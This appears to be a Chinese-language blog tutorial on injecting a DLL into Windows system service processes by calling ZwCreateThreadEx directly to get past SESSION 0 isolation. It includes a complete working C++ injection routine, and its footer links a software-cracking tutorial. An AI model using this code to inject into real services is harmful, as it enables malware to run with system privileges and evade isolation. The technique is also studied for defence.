• 突破SESSION 0隔离的远程线程注入


    前言:

      之前提到,由于SESSION 0隔离机制,导致传统远程线程注入系统服务进程失败。经过前人的不断逆向探索,发现直接调用 ZwCreateThreadEx 函数将其第7个参数 CreateSuspended(CreateThreadFlags)的值置为零可以进行远程线程注入,还可以突破 SESSION 0隔离,成功注入。

    实现原理:

      与传统的CreateRemoteThread函数实现的远线程注入DLL的唯一区别在于,突破SESSION 0远线程注入技术是使用比CreateRemoteThread函数更为底层的ZwCreateThreadEx函数来创建远线程,CreateRemoteThread 之所以注入失败,是因为引入了会话隔离机制。该机制使得其创建一个进程之后并不会立即运行,而是先挂起进程,在查看要运行的进程所在的会话层之后再决定是否恢复进程运行。跟踪发现 CreateRemoteThread 函数 ,发现内部调用 ZwCreateThreadEx 函数创建远程线程的时候,第七个参数 CreateSuspended(CreateThreadFlags)值为1,它会导致线程创建完成后一直挂起无法恢复运行,这就是为什么DLL注入失败的原因。所以,要想使系统服务进程远线程注入成功,只需要直接调用ZwCreateThreadEx函数,将第七个参数CreateSuspended(CreateThreadFlags)的值置为零,这样线程创建完成后就会恢复运行,成功注入。

      注意:由于 ZwCreateThreadEx 在 ntdll.dll并没有声明,所以需要自己声明函数原型,并使用 GetProcAddress 从 ntdll.dll 中获取该函数的导出地址。而64位与32位系统下,ZwCreateThreadEx函数原型不一样。

    由于会话隔离,系统服务程序不能显示程序窗体,所以并不会因为MessageBox弹窗。也不能用常规方式创建用户进程。为了解决服务层和用户层的交互问题,微软专门提供了一系列以WTS(Windows Terminal Service)开头的函数来实现这些功能。

    //64位系统下
        DWORD WINAPI ZwCreateThreadEx)(
            PHANDLE ThreadHandle,
            ACCESS_MASK DesiredAccess,
            LPVOID ObjectAttributes,
            HANDLE ProcessHandle,
            LPTHREAD_START_ROUTINE lpStartAddress,
            LPVOID lpParameter,
            ULONG CreateThreadFlags,
            SIZE_T ZeroBits,
            SIZE_T StackSize,
            SIZE_T MaximumStackSize,
            LPVOID pUnkown
            );
    
    //32位系统下
        DWORD WINAPI ZwCreateThreadEx)(
            PHANDLE ThreadHandle,
            ACCESS_MASK DesiredAccess,
            LPVOID ObjectAttributes,
            HANDLE ProcessHandle,
            LPTHREAD_START_ROUTINE lpStartAddress,
            LPVOID lpParameter,
            BOOL CreateSuspended,
            DWORD dwStackSize,
            DWORD dw1,
            DWORD dw2,
            LPVOID pUnkown
            );

     实现代码:

    BOOL CInjectDlg::ZwCreateThreadExInjectDll(DWORD dwProcessId, char* pszDllFileName)
    {
        // 1.打开目标进程
        HANDLE hProcess = OpenProcess(
            PROCESS_ALL_ACCESS,        // 打开权限
            FALSE,                    // 是否继承
            dwProcessId);            // 进程PID
        if (NULL == hProcess)
        {
            MessageBox(L"打开目标进程失败!");
            return FALSE;
        }
    
        // 2.在目标进程中申请空间
        LPVOID lpPathAddr = VirtualAllocEx(
            hProcess,                    // 目标进程句柄
            0,                            // 指定申请地址
            strlen(pszDllFileName) + 1,    // 申请空间大小
            MEM_RESERVE | MEM_COMMIT,    // 内存的状态
            PAGE_READWRITE);            // 内存属性
        if (NULL == lpPathAddr)
        {
            MessageBox(L"在目标进程中申请空间失败!");
            CloseHandle(hProcess);
            return FALSE;
        }
    
        // 3.在目标进程中写入Dll路径
        if (FALSE == WriteProcessMemory(
            hProcess,                    // 目标进程句柄
            lpPathAddr,                    // 目标进程地址
            pszDllFileName,                    // 写入的缓冲区
            strlen(pszDllFileName) + 1,    // 缓冲区大小
            NULL))                // 实际写入大小
        {
            MessageBox(L"目标进程中写入Dll路径失败!");
            CloseHandle(hProcess);
            return FALSE;
        }
    
        //4.加载ntdll.dll
        HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
        if (NULL == hNtdll)
        {
            MessageBox(L"加载ntdll.dll失败!");
            CloseHandle(hProcess);
            return FALSE;
        }
    
        //5.获取LoadLibraryA的函数地址
        //FARPROC可以自适应32位与64位
        FARPROC pFuncProcAddr = GetProcAddress(GetModuleHandle((LPCWSTR)L"kernel32.dll"), "LoadLibraryA");
        if (NULL == pFuncProcAddr)
        {
            MessageBox(L"获取LoadLibrary函数地址失败!");
            CloseHandle(hProcess);
            return FALSE;
        }
    
        //6.获取ZwCreateThreadEx函数地址,该函数在32位与64位下原型不同
        //_WIN64用来判断编译环境 ,_WIN32用来判断是否是Windows系统
    #ifdef _WIN64
        typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
            PHANDLE ThreadHandle,
            ACCESS_MASK DesiredAccess,
            LPVOID ObjectAttributes,
            HANDLE ProcessHandle,
            LPTHREAD_START_ROUTINE lpStartAddress,
            LPVOID lpParameter,
            ULONG CreateThreadFlags,
            SIZE_T ZeroBits,
            SIZE_T StackSize,
            SIZE_T MaximumStackSize,
            LPVOID pUnkown
            );
    #else
        typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
            PHANDLE ThreadHandle,
            ACCESS_MASK DesiredAccess,
            LPVOID ObjectAttributes,
            HANDLE ProcessHandle,
            LPTHREAD_START_ROUTINE lpStartAddress,
            LPVOID lpParameter,
            BOOL CreateSuspended,
            DWORD dwStackSize,
            DWORD dw1,
            DWORD dw2,
            LPVOID pUnkown
            );
    #endif 
        typedef_ZwCreateThreadEx ZwCreateThreadEx =
            (typedef_ZwCreateThreadEx)GetProcAddress(hNtdll, "ZwCreateThreadEx");
        if (NULL == ZwCreateThreadEx)
        {
            MessageBox(L"获取ZwCreateThreadEx函数地址失败!");
            CloseHandle(hProcess);
            return FALSE;
        }
        //7.在目标进程中创建线程
        HANDLE hRemoteThread = NULL;
        DWORD dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess,
            (LPTHREAD_START_ROUTINE)pFuncProcAddr, lpPathAddr, 0, 0, 0, 0, NULL);
        if (NULL == hRemoteThread)
        {
            MessageBox(L"目标进程中创建线程失败!");
            CloseHandle(hProcess);
            return FALSE;
        }
    
        // 8.等待线程结束
        WaitForSingleObject(hRemoteThread, -1);
    
        // 9.清理环境
        VirtualFreeEx(hProcess, lpPathAddr, 0, MEM_RELEASE);
        CloseHandle(hRemoteThread);
        CloseHandle(hProcess);
        FreeLibrary(hNtdll);
        return TRUE;
    }
  • 相关阅读:
    浏览器es6报错 babelplugintransformruntime 引入 代替babelpolyfill
    windows11下安装MySQL 8.0 步骤
    【其它】idea 2022.1 超详细破解教程,亲测有效!(Webstorm,Goland,Pycharm,DataGrip等全家桶)
    MyBatis的配置
    PVE配置证书
    shell脚本生成证书SAN证书,chrome自签名证书无效。
    virtiowin下载地址
    DOCKER 2375 2376 TLS
    H3C交换机同步网络时钟
    openwrt配置证书,ddnspod证书NGINX使用
  • 原文地址:https://www.cnblogs.com/ndyxb/p/12889557.html
Copyright © 2020-2023  润新知